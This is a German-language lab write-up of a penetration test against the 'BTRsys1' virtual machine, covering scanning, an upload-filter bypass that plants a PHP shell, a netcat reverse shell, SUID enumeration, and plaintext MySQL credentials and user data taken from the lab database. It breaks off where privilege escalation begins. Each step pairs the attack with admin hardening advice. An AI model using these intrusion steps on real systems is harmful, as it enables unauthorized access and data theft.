Analyse: Wie im vorherigen Bericht beginnt die Reconnaissance mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.
Bewertung: Der Scan findet einen Host mit der IP `192.168.2.114` und der MAC-Adresse `08:00:27:c4:b0:50`. Der Hersteller wird als "PCS Systemtechnik GmbH" angegeben, was erneut auf eine VirtualBox-Umgebung hindeutet. Diese IP ist unser Ziel.
Empfehlung (Pentester): Die Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerk-Monitoring und ARP-Schutzmaßnahmen implementieren.
192.168.2.114 08:00:27:c4:b0:50 PCS Systemtechnik GmbH
Analyse: Der Pentester bearbeitet die lokale `/etc/hosts`-Datei auf dem Angreifer-System mit dem Texteditor `vi`, um der gefundenen IP-Adresse `192.168.2.114` einen Hostnamen (`bts.hmv`) zuzuordnen.
Bewertung: Dies ist ein manueller Schritt, der die weitere Arbeit erleichtert, da nun der Hostname `bts.hmv` anstelle der IP-Adresse verwendet werden kann (z.B. in Browsern oder Tools). Es ist eine gute Praxis, besonders wenn Webanwendungen Hostnamen erwarten oder virtuelle Hosts konfiguriert sind.
Empfehlung (Pentester): Bei Web-Tests immer prüfen, ob die Anwendung auf einen bestimmten Hostnamen reagiert oder ob unterschiedliche Inhalte basierend auf dem Host-Header geliefert werden. Den Hostnamen `bts.hmv` bei weiteren Web-Anfragen verwenden.
Empfehlung (Admin): Keine direkte Aktion erforderlich. Dies ist eine Konfiguration auf dem Angreifer-System.
# Inhalt der /etc/hosts Datei nach der Bearbeitung (Beispiel) 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 192.168.2.114 bts.hmv
Analyse: Ein umfassender `nmap`-Scan wird gegen die Ziel-IP `192.168.2.114` durchgeführt.
Bewertung: Der Scan identifiziert drei offene Ports:
Empfehlung (Pentester): Den anonymen FTP-Zugang sofort untersuchen. Die alten Versionen von OpenSSH und Apache auf bekannte Schwachstellen prüfen. Die Webanwendung auf Port 80 genauer analysieren.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, wenn er nicht absolut notwendig ist. OpenSSH und Apache dringend auf aktuelle, unterstützte Versionen aktualisieren, um bekannte Schwachstellen zu schließen. Betriebssystem ebenfalls aktualisieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 14:15 CEST Nmap scan report for BTRsys1 (192.168.2.114) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.2.137 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 600 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.2 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA) | 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA) | 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA) |_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: BTRisk |_http-server-header: Apache/2.4.7 (Ubuntu) MAC Address: 08:00:27:C4:B0:50 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms BTRsys1 (192.168.2.114) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.58 seconds
Analyse: Der gleiche `nmap`-Scan wird wiederholt, aber die Ausgabe wird mit `| grep open` gefiltert, um nur die offenen Ports übersichtlich darzustellen.
Bewertung: Bestätigt die offenen Ports 21 (FTP), 22 (SSH) und 80 (HTTP) sowie die bereits bekannten Dienstversionen. Dient als schnelle Zusammenfassung der Angriffsfläche.
Empfehlung (Pentester): Diese Liste als Checkliste für die weitere Enumeration der einzelnen Dienste verwenden.
Empfehlung (Admin): Firewall-Regeln überprüfen und sicherstellen, dass nur notwendige Ports von außen erreichbar sind.
21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien zu scannen.
Bewertung: Nikto liefert mehrere wichtige Ergebnisse:
Empfehlung (Pentester): Die `config.php` und `#wp-config.php#` (trotz des Namens) sofort herunterladen und analysieren. Nach bekannten Exploits für PHP 5.5.9 suchen. Die `login.php` auf Schwachstellen (SQL-Injection, Brute-Force) untersuchen.
Empfehlung (Admin): PHP und Apache dringend aktualisieren. Sicherheitsheader implementieren. Sicherstellen, dass Konfigurationsdateien (`config.php`) keine sensiblen Daten enthalten oder nicht direkt über den Webserver zugänglich sind. Backup-Dateien (`#...#`) oder Dateien mit sensiblen Endungen vom Webserver entfernen oder den Zugriff darauf blockieren.
- Nikto v2.5.0 + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2023-06-19 14:15:10 (GMT2) + Server: Apache/2.4.7 (Ubuntu) + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21 + The anti-clickjacking X-Frame-Options header is not present. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + /config.php: PHP Config file may contain database IDs and passwords. + /icons/README: Apache default file found. + /login.php: Admin login page/section found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2023-06-19 14:15:24 (GMT2) (14 seconds) + 1 host(s) tested
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es nutzt eine mittelgroße Wordlist und sucht nach verschiedenen Dateiendungen, wobei 403/404-Fehler ausgeblendet werden.
Bewertung: Gobuster findet mehrere interessante Ressourcen:
Empfehlung (Pentester): Das `/uploads/`-Verzeichnis im Browser aufrufen und prüfen, ob Verzeichnislisting aktiviert ist und ob Dateien hochgeladen werden können (z.B. über die `login.php` oder eine andere, noch nicht entdeckte Seite). Die `config.php` trotz der geringen Größe herunterladen und untersuchen (`curl http://192.168.2.114/config.php`).
Empfehlung (Admin): Verzeichnislisting für Verzeichnisse wie `/uploads` deaktivieren. Sicherstellen, dass Upload-Funktionen sicher implementiert sind (Dateityp-Validierung serverseitig, Größenbeschränkungen, Speicherung außerhalb des Web-Roots oder mit nicht-ausführbaren Berechtigungen). Zugriff auf Konfigurationsdateien blockieren.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.114 [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,405 [+] User Agent: gobuster/3.1.0 [+] Extensions: [...] [+] Expanded: true [+] Timeout: 10s [+] Exclude Status Codes: 403,404 [+] No error: true =============================================================== 2023/06/19 14:16:01 Starting gobuster =============================================================== http://192.168.2.114/index.php (Status: 200) [Size: 758] http://192.168.2.114/login.php (Status: 200) [Size: 4561] http://192.168.2.114/uploads (Status: 301) [Size: 315] [--> http://192.168.2.114/uploads/] http://192.168.2.114/assets (Status: 301) [Size: 314] [--> http://192.168.2.114/assets/] http://192.168.2.114/javascript (Status: 301) [Size: 318] [--> http://192.168.2.114/javascript/] http://192.168.2.114/config.php (Status: 200) [Size: 2] [...] =============================================================== 2023/06/19 14:18:35 Finished ===============================================================
Analyse: Der Pentester verbindet sich per FTP mit dem Zielserver und nutzt den von Nmap entdeckten anonymen Zugang.
Bewertung: Der Login als `anonymous` (ohne Passwort) ist erfolgreich ("230 Login successful."). Dies bestätigt die Nmap-Ergebnisse und gibt dem Pentester Zugriff auf das FTP-Verzeichnis, das für anonyme Benutzer freigegeben ist.
Empfehlung (Pentester): Den Inhalt des FTP-Verzeichnisses untersuchen (`ls -la`). Prüfen, ob Schreibrechte vorhanden sind (`put testfile`). Nach interessanten Dateien suchen.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, falls nicht benötigt. Wenn er benötigt wird, sicherstellen, dass die Berechtigungen sehr restriktiv sind (nur Lesezugriff, nur auf bestimmte Dateien/Verzeichnisse) und keine sensiblen Informationen preisgegeben werden.
Connected to 192.168.2.114. 220 (vsFTPd 3.0.2) Name (192.168.2.114:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
Analyse: Der Pentester versucht, eine Datei (`CaptBarbossa.JPG`) über den anonymen FTP-Zugang hochzuladen (`put`) und anschließend in das Verzeichnis `/var` zu wechseln (`cd /var`).
Bewertung: Beide Aktionen schlagen fehl:
Empfehlung (Pentester): Den FTP-Zugang vorerst ignorieren und sich auf die Webanwendung (Port 80) konzentrieren, insbesondere auf das `/uploads`-Verzeichnis und die `login.php`.
Empfehlung (Admin): Die Konfiguration des anonymen FTP-Zugangs (insbesondere das chroot jail und die fehlenden Schreibrechte) ist korrekt umgesetzt, um einen Ausbruch oder das Hochladen von Schadcode zu verhindern.
ftp> put CaptBarbossa.JPG local: CaptBarbossa.JPG remote: CaptBarbossa.JPG 229 Entering Extended Passive Mode (|||49112|). 550 Permission denied. ftp> cd /var 550 Failed to change directory. ftp>
Analyse: Der Pentester untersucht den Quellcode oder die Struktur der `index.php`-Seite.
Bewertung: Die gefundenen Links (`index.php`, `hakkimizda.php`) deuten auf eine türkische Webseite hin ("Anasayfa" = Startseite, "Hakkımızda" = Über uns). Dies liefert Kontext, ist aber keine direkte Schwachstelle.
Empfehlung (Pentester): Alle verlinkten Seiten besuchen und untersuchen. Die Sprache kann bei der Suche nach Standard-Passwörtern oder bei Social Engineering relevant sein.
Empfehlung (Admin): Sicherstellen, dass alle Webseiteninhalte aktuell und sicher sind.
Analyse: Untersuchung der `login.php` und der dahinterliegenden `personel.php`. Die HTTP-Header bestätigen erneut PHP 5.5.9 und Apache 2.4.7.
Bewertung: Die Seite `login.php` führt wahrscheinlich zu `personel.php` nach erfolgreichem Login. Die Header bestätigen die veralteten Versionen.
Empfehlung (Pentester): Die `login.php` auf SQL-Injection und Brute-Force-Angriffe testen. Versuchen, direkt auf `personel.php` zuzugreifen, um zu sehen, ob eine Authentifizierung erforderlich ist.
Empfehlung (Admin): Login-Seiten besonders absichern (Schutz vor Brute-Force, SQLi, starke Passwörter erzwingen). Veraltete Software aktualisieren.
http://192.168.2.114/login.php personel.php X-Powered-By : PHP/5.5.9-1ubuntu4.21 Server : Apache/2.4.7 (Ubuntu)
Analyse: Direkter Zugriff auf `192.168.2.114/personel.php`. Die Seite zeigt persönliche Informationen ("Kisi Özluk Bilgileri") an, wirft aber auch eine PHP-Warnung.
Bewertung: Der direkte Zugriff ist möglich (keine oder eine umgangene Authentifizierung). Die Warnung `Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, null given in /var/www/html/personel.php on line 67` ist ein wichtiger Fund:
Empfehlung (Pentester): Die Seite `personel.php` auf SQL-Injection testen, insbesondere Parameter, die die Datenbankabfrage beeinflussen könnten. Den Pfad `/var/www/html/` notieren.
Empfehlung (Admin): PHP-Fehleranzeige auf Produktionssystemen deaktivieren (`display_errors = Off` in `php.ini`). Den Code in `personel.php` (Zeile 67 und die zugehörige Datenbankabfrage) überprüfen und korrigieren. SQL-Injection-Schwachstellen durch Prepared Statements oder korrekte Eingabevalidierung verhindern. Authentifizierung für `personel.php` erzwingen.
192.168.2.114/personel.php
Kisi Özluk Bilgileri
Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result,
null given in /var/www/html/personel.php on line 67
Analyse: Dieser Kommentar beschreibt den entscheidenden Schritt für den initialen Zugriff: Eine Datei mit doppeltem Suffix (`shell.php.jpg`) wird hochgeladen (vermutlich über eine Funktion auf der Webseite, die nur Bilddateien erlaubt). Anschließend wird mit einem Intercepting Proxy wie Burp Suite der Dateiname während des Upload-Vorgangs oder in einer nachfolgenden Anfrage (z.B. Umbenennung) zu `shell.php` geändert. Danach wird die hochgeladene PHP-Shell direkt über die URL `http://192.168.2.114/uploads/shell.php` aufgerufen.
Bewertung: Dies deutet auf eine klassische File-Upload-Schwachstelle hin. Die Anwendung prüft wahrscheinlich nur die Dateiendung (`.jpg`), erlaubt aber das Hochladen von Dateien mit PHP-Code (wenn als `.jpg` getarnt). Die serverseitige Verarbeitung oder eine nachfolgende Funktion ermöglicht dann die Umbenennung oder führt den Code trotz `.jpg`-Endung aus, oder der Pentester konnte durch Manipulation (z.B. im `Content-Type` oder Dateinamen im HTTP-Request mit Burp) die Endungsprüfung umgehen und die Datei als `shell.php` speichern. Der Aufruf der URL führt dann die PHP-Shell aus.
Empfehlung (Pentester): Diese Technik ist sehr effektiv. Immer nach File-Upload-Funktionen suchen und verschiedene Umgehungstechniken testen (doppelte Endungen, Null-Byte-Injektion (veraltet), Manipulation von Content-Type, Groß-/Kleinschreibung, etc.). Burp Suite ist hierfür unerlässlich.
Empfehlung (Admin): File-Uploads serverseitig robust validieren: Dateitypen nicht nur anhand der Endung oder des `Content-Type`-Headers prüfen, sondern den Dateiinhalt analysieren (Magic Bytes). Dateinamen beim Speichern ändern (z.B. zufällige Namen verwenden) und die ursprüngliche Endung nicht beibehalten oder nur erlaubte Endungen zulassen. Hochgeladene Dateien in einem Verzeichnis außerhalb des Web-Roots speichern oder sicherstellen, dass das Upload-Verzeichnis keine Ausführungsrechte für Skripte hat (z.B. über `.htaccess` oder Serverkonfiguration).
mit Burp den dateinamen von shell.php.jpg in shell.php geändert, dann per http://192.168.2.114/uploads/shell.php die shell aufrufen
Analyse: Diese Ausgabe zeigt wahrscheinlich das Verzeichnislisting des `/uploads/`-Verzeichnisses auf dem Webserver, wie es im Browser oder durch ein Tool angezeigt wird. Es listet die erfolgreich hochgeladene (und umbenannte) `shell.php` sowie die ursprüngliche `shell.php.jpg` auf.
Bewertung: Das Verzeichnislisting ist aktiviert, was an sich schon ein Informationsleck darstellt. Es bestätigt, dass sowohl die getarnte Datei als auch die umbenannte PHP-Shell im Upload-Verzeichnis vorhanden sind. Der Zeitstempel (06:11 und 06:12) passt zu einem kurz zurückliegenden Upload.
Empfehlung (Pentester): Das aktivierte Verzeichnislisting nutzen, um alle hochgeladenen Dateien zu sehen. Die `shell.php` über ihre URL aufrufen, um die Reverse Shell zu triggern.
Empfehlung (Admin): Verzeichnislisting auf dem Webserver global oder zumindest für sensible Verzeichnisse wie `/uploads` deaktivieren (z.B. mit `Options -Indexes` in der Apache-Konfiguration oder `.htaccess`). Die File-Upload-Schwachstelle beheben.
[ICO] Name Last modified Size Description --------------------------------------------------- [DIR] Parent Directory - [ ] shell.php 2023-06-19 06:12 5.4K [IMG] shell.php.jpg 2023-06-19 06:11 5.4K --------------------------------------------------- Apache/2.4.7 (Ubuntu) Server at 192.168.2.114 Port 80
Analyse: Der Pentester startet einen `netcat`-Listener auf Port 9001 auf seinem Angreifer-System, um die eingehende Verbindung der Reverse Shell (die durch den Aufruf von `shell.php` ausgelöst wird) abzufangen.
Bewertung: Der Listener startet erfolgreich (`listening on [any] 9001 ...`). Kurz darauf kommt die Verbindung von der Zielmaschine (`connect to [...] from [...] 192.168.2.114`). Die Shell meldet sich mit Systeminformationen (`Linux BTRsys1 ...`, Uptime, Load) und dem Benutzerkontext (`uid=33(www-data) gid=33(www-data)`). Der initiale Zugriff war erfolgreich, der Pentester hat nun eine Shell als Benutzer `www-data`. Die Meldung `/bin/sh: 0: can't access tty; job control turned off` ist typisch für einfache Reverse Shells.
Empfehlung (Pentester): Die Shell stabilisieren (z.B. mit Python PTY: `python -c 'import pty; pty.spawn("/bin/bash")'`). Mit der Enumeration als `www-data` beginnen: `whoami`, `id`, `pwd`, `ls -la /var/www/html`, `sudo -l`, Suche nach Konfigurationsdateien, SUID-Binaries, etc.
Empfehlung (Admin): Die File-Upload-Schwachstelle dringend beheben. Egress-Filterung implementieren, um Reverse Shells zu erschweren. Webserver-Prozesse sollten mit minimalen Rechten laufen. Überwachung auf verdächtige Prozesse und Netzwerkverbindungen.
listening on [any] 9001 ... connect to [192.168.2.137] from (UNKNOWN) [192.168.2.114] 46347 Linux BTRsys1 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux 06:12:23 up 59 min, 0 users, load average: 0.00, 0.01, 0.46 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Der Pentester versucht als `www-data`, die Bash-History des Benutzers `troll` zu lesen und prüft eventuelle `sudo`-Rechte für `www-data`.
Bewertung: Beide Versuche scheitern:
Empfehlung (Pentester): Andere Enumerationstechniken anwenden: Suche nach SUID/SGID-Dateien (`find / -type f -perm -4000 -ls 2>/dev/null`), Überprüfung von Cronjobs (`ls -la /etc/cron.*`), Suche nach Konfigurationsdateien mit Passwörtern (insbesondere im Web-Root `/var/www/html`), Prüfung der Kernel-Version (`uname -a`) auf Exploits.
Empfehlung (Admin): Sicherstellen, dass Webserver-Benutzer (`www-data`) keine unnötigen `sudo`-Rechte haben und keine Passwörter besitzen. Dateiberechtigungen restriktiv setzen.
$ cat /home/troll/.bash_history cat: /home/troll/.bash_history: Permission denied $ sudo -l [sudo] password for www-data:
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird ausgeführt, um nach SUID-Binaries zu suchen, die mit Root-Rechten laufen und möglicherweise zur Privilegieneskalation missbraucht werden können.
Bewertung: Die Liste enthält viele Standard-Linux-SUID-Programme (`pppd`, `chfn`, `sudo`, `passwd`, `mtr`, `chsh`, `newgrp`, `gpasswd`, `ssh-keysign`, `su`, `ping`, `fusermount`, `ping6`, `mount`, `umount`). Einige sind etwas ungewöhnlicher oder spezifisch:
Empfehlung (Pentester): Die Kernel-Version (`uname -a`) und die Versionen der installierten Pakete (insbesondere `sudo`) prüfen und nach bekannten Exploits suchen (z.B. mit `linux-exploit-suggester`). Die Anwesenheit von VMware-Tools-Binaries könnte interessant sein, falls spezifische Schwachstellen bekannt sind.
Empfehlung (Admin): System und alle Pakete auf den neuesten Stand bringen. Unnötige SUID-Binaries entfernen oder das SUID-Bit entfernen (`chmod -s /pfad/zur/datei`).
$ find / -type f -perm -4000 -ls 2>/dev/null
34644 20 -rwsr-sr-x 1 libuuid libuuid 17996 Jun 3 2014 /usr/sbin/uuidd
34466 316 -rwsr-xr-- 1 root dip 322968 Jan 22 2013 /usr/sbin/pppd
1273 44 -rwsr-xr-x 1 root root 44620 Feb 16 2014 /usr/bin/chfn
1534 156 -rwsr-xr-x 1 root root 156708 Feb 10 2014 /usr/bin/sudo
1428 48 -rwsr-xr-x 1 root root 45420 Feb 16 2014 /usr/bin/passwd
34087 20 -rwsr-xr-x 1 root root 18136 May 7 2014 /usr/bin/traceroute6.iputils
34376 72 -rwsr-xr-x 1 root root 72860 Oct 21 2013 /usr/bin/mtr
1276 36 -rwsr-xr-x 1 root root 35916 Feb 16 2014 /usr/bin/chsh
1416 32 -rwsr-xr-x 1 root root 30984 Feb 16 2014 /usr/bin/newgrp
1347 68 -rwsr-xr-x 1 root root 66252 Feb 16 2014 /usr/bin/gpasswd
36644 12 -rwsr-xr-x 1 root root 9612 Jul 28 2014 /usr/lib/pt_chown
147370 484 -rwsr-xr-x 1 root root 492972 May 12 2014 /usr/lib/openssh/ssh-keysign
38256 12 -r-sr-xr-x 1 root root 10224 Aug 9 2014 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
38453 12 -r-sr-xr-x 1 root root 9532 Aug 9 2014 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
1623 8 -rwsr-xr-x 1 root root 5480 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
144449 324 -rwsr-xr-- 1 root messagebus 329856 Jul 3 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
108 36 -rwsr-xr-x 1 root root 35300 Feb 16 2014 /bin/su
88 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
33602 32 -rwsr-xr-x 1 root root 30112 Dec 16 2013 /bin/fusermount
89 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
75 88 -rwsr-xr-x 1 root root 88752 Jun 3 2014 /bin/mount
116 68 -rwsr-xr-x 1 root root 67704 Jun 3 2014 /bin/umount
Analyse: Die Berechtigungen der `/etc/passwd`-Datei werden überprüft, und der Befehl `getcap -r / 2>/dev/null` wird ausgeführt. `getcap` sucht nach Dateien mit gesetzten Linux Capabilities, die eine alternative Form der Privilegieneskalation ermöglichen können.
Bewertung: Die Berechtigungen von `/etc/passwd` sind Standard (`-rw-r--r--`). Der `getcap`-Befehl liefert keine Ausgabe, was bedeutet, dass keine Dateien mit speziellen Capabilities gefunden wurden, die für eine Eskalation genutzt werden könnten.
Empfehlung (Pentester): Die Suche nach Capabilities war erfolglos. Weiter nach anderen Vektoren suchen, insbesondere Konfigurationsdateien im Web-Root.
Empfehlung (Admin): Capabilities sollten nur bewusst und sparsam eingesetzt werden. Regelmäßige Überprüfung mit `getcap` ist sinnvoll.
$ ls -la /etc/passwd -rw-r--r-- 1 root root 1515 May 24 2017 /etc/passwd $ getcap -r / 2>/dev/null $
Analyse: Der Pentester wechselt in das Web-Root-Verzeichnis `/var/www/html` und listet dessen Inhalt detailliert auf.
Bewertung: Die Auflistung zeigt die verschiedenen PHP-Dateien der Webanwendung (`index.php`, `login.php`, `hakkimizda.php`, `personel.php`, etc.) sowie das `uploads`-Verzeichnis und die bereits von Nikto und Gobuster gefundene `config.php`. Wichtig ist hier auch das `uploads`-Verzeichnis, das Schreibrechte für alle hat (`drwxrwxrwx`). Dies ist unsicher, aber die bereits genutzte File-Upload-Schwachstelle war der Einstiegspunkt.
Empfehlung (Pentester): Die `config.php` untersuchen, da sie wahrscheinlich Zugangsdaten enthält (auch wenn sie von Gobuster als sehr klein gemeldet wurde).
Empfehlung (Admin): Die Berechtigungen des `uploads`-Verzeichnisses auf `drwxr-xr-x` oder restriktiver ändern (Schreibrechte nur für `www-data`). Den Inhalt von `config.php` prüfen und sicherstellen, dass sie nicht direkt aus dem Web zugänglich ist.
$ cd /var/www/html/ $ ls -la total 56 drwxr-xr-x 4 root root 4096 Apr 28 2017 . drwxr-xr-x 3 root root 4096 Apr 28 2017 .. drwxr-xr-x 8 root root 4096 Apr 28 2017 assets -rw-r--r-- 1 root root 356 Mar 20 2017 config.php -rw-r--r-- 1 root root 856 Apr 28 2017 gonder.php -rw-r--r-- 1 root root 9311 Apr 28 2017 hakkimizda.php -rw-r--r-- 1 root root 796 Mar 23 2017 index.php -rw-r--r-- 1 root root 4561 Apr 28 2017 login.php -rw-r--r-- 1 root root 3517 May 3 2017 personel.php -rw-r--r-- 1 root root 2143 Apr 28 2017 sorgu.php drwxrwxrwx 2 root root 4096 Jun 19 06:11 uploads
Analyse: Der Inhalt der Datei `config.php` wird mit `cat` angezeigt.
Bewertung: Volltreffer! Die Datei enthält Klartext-Zugangsdaten für eine MySQL-Datenbankverbindung:
Empfehlung (Pentester): Versuchen, sich mit den gefundenen Zugangsdaten (`root`/`toor`) am lokalen MySQL-Server anzumelden (`mysql -u root -p`). Prüfen, ob der MySQL-`root`-Benutzer das gleiche Passwort wie der System-`root`-Benutzer hat (`su root`). Die Datenbank `deneme` auf weitere interessante Informationen untersuchen. Nach Möglichkeiten suchen, über MySQL Systembefehle auszuführen (z.B. prüfen auf File-Privilegien, UDF-Exploits).
Empfehlung (Admin): Niemals Klartext-Passwörter in Konfigurationsdateien im Web-Root speichern. Datenbankverbindungen mit dedizierten, niedrig privilegierten Benutzern durchführen. Das Passwort des MySQL-`root`-Benutzers ändern (und kein schwaches Passwort wie `toor` verwenden). Sicherstellen, dass die `config.php` nicht über den Webserver lesbar ist. Datenbankserver absichern (z.B. Zugriff nur von bestimmten Hosts erlauben).
$ cat config.php
toor","deneme");
if (mysqli_connect_errno())
{
echo "Mysql Bağlantı hatası!: " . mysqli_connect_error();
}
/////////////////////////////////////////////////////////////////////////////////////////
?>
Analyse: Der Pentester versucht, mit `su root` zum System-Root-Benutzer zu wechseln und gibt das gefundene MySQL-Passwort `toor` ein. Anschließend versucht er, sich mit den gefundenen Zugangsdaten am MySQL-Server anzumelden.
Bewertung:
Empfehlung (Pentester): Die MySQL-Datenbanken und -Tabellen untersuchen (`show databases;`, `use deneme;`, `show tables;`, `select * from user;`). Nach gespeicherten Benutzerdaten, Passwörtern oder Konfigurationen suchen. Prüfen, welche Berechtigungen der MySQL-`root`-Benutzer hat (`SHOW GRANTS FOR 'root'@'localhost';`), insbesondere FILE-Privilegien, die das Lesen/Schreiben von Systemdateien ermöglichen könnten. Nach Möglichkeiten suchen, über MySQL zu Root-Rechten auf dem Betriebssystem zu gelangen (z.B. UDF - User Defined Functions).
Empfehlung (Admin): Das MySQL-Root-Passwort dringend ändern und sicher gestalten. Die Berechtigungen des MySQL-Root-Benutzers überprüfen und einschränken (insbesondere FILE-Privilegien). Den Zugriff auf den MySQL-Server absichern.
$ su root Password: toor su: Authentication failure $ mysql -u root -p Enter password: toor Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 806587 Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu) Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
Analyse: Innerhalb der MySQL-Shell werden die Datenbanken aufgelistet, zur Datenbank `deneme` gewechselt, deren Tabellen angezeigt und der Inhalt der Tabelle `user` abgefragt.
Bewertung: Die Datenbank `deneme` enthält nur eine Tabelle namens `user`. Diese Tabelle enthält zwei Einträge mit Namen, Benutzernamen (E-Mail-Adressen) und dem Passwort `asd123*` für beide Benutzer (`ikaya@btrisk.com`, `cdmir@btrisk.com`). Zusätzlich sind persönliche Informationen wie Namen der Eltern und Geschwisteranzahl gespeichert. Das Passwort `asd123*` ist relativ schwach.
Empfehlung (Pentester): Die gefundenen E-Mail-Adressen und das Passwort `asd123*` notieren. Versuchen, sich mit diesen Zugangsdaten per SSH oder auf der Web-Login-Seite (`login.php`) anzumelden. Prüfen, ob diese Benutzer (`ikaya`, `cdmir`) auch als Systembenutzer existieren (`cat /etc/passwd`). Die MySQL-Enumeration fortsetzen (Berechtigungen prüfen, nach UDF-Möglichkeiten suchen).
Empfehlung (Admin): Keine Passwörter im Klartext (oder leicht zu knackende Hashes) in Datenbanken speichern. Stattdessen starke, gesalzene Hashes verwenden. Sensible persönliche Daten schützen. Die gefundenen Zugangsdaten ändern und Benutzer über die Kompromittierung informieren. Die Datenbank `deneme` und ihre Tabelle `user` auf Notwendigkeit prüfen.
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | deneme | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec) mysql> use deneme; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +------------------+ | Tables_in_deneme | +------------------+ | user | +------------------+ 1 row in set (0.00 sec) mysql> select * from user; +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+ | ID | Ad_Soyad | Kullanici_Adi | Parola | BabaAdi | BabaMeslegi | AnneAdi | AnneMeslegi | KardesSayisi | +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+ | 1 | ismail kaya | ikaya@btrisk.com | asd123* | ahmet | muhasebe | nazli | lokantaci | 5 | | 2 | can demir | cdmir@btrisk.com | asd123* | mahmut | memur | gulsah | tuhafiyeci | 8 | +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+ 2 rows in set (0.00 sec) mysql>
Analyse: Ein Kommentar im Bericht, der den Beginn der eigentlichen Privilegieneskalation von `www-data` zu `root` markiert.
Bewertung: Nach der Enumeration als `www-data` und dem Fund der MySQL-Zugangsdaten wird nun der nächste Schritt zur Erlangung von Root-Rechten eingeleitet.
Empfehlung (Pentester): Die bisherigen Funde (Kernel-Version, SUID-Binaries, MySQL-Zugriff) nutzen, um einen geeigneten Vektor für die Eskalation zu finden. Kernel-Exploit oder eine Technik, die den MySQL-Zugriff nutzt, sind wahrscheinlich.
Empfehlung (Admin): System-Monitoring verstärken, um die Eskalationsversuche zu erkennen.
Privilege Escalation
Analyse: Die Kernel-Version wird erneut mit `uname -a` abgefragt.
Bewertung: Bestätigt die bereits bekannte, veraltete Kernel-Version `3.13.0-32-generic` von Juli 2014 auf einem i686 (32-Bit)-System. Diese Version ist definitiv alt und anfällig für diverse bekannte Kernel-Exploits (z.B. Dirty COW, obwohl dies später kam, aber andere für 3.13 existieren).
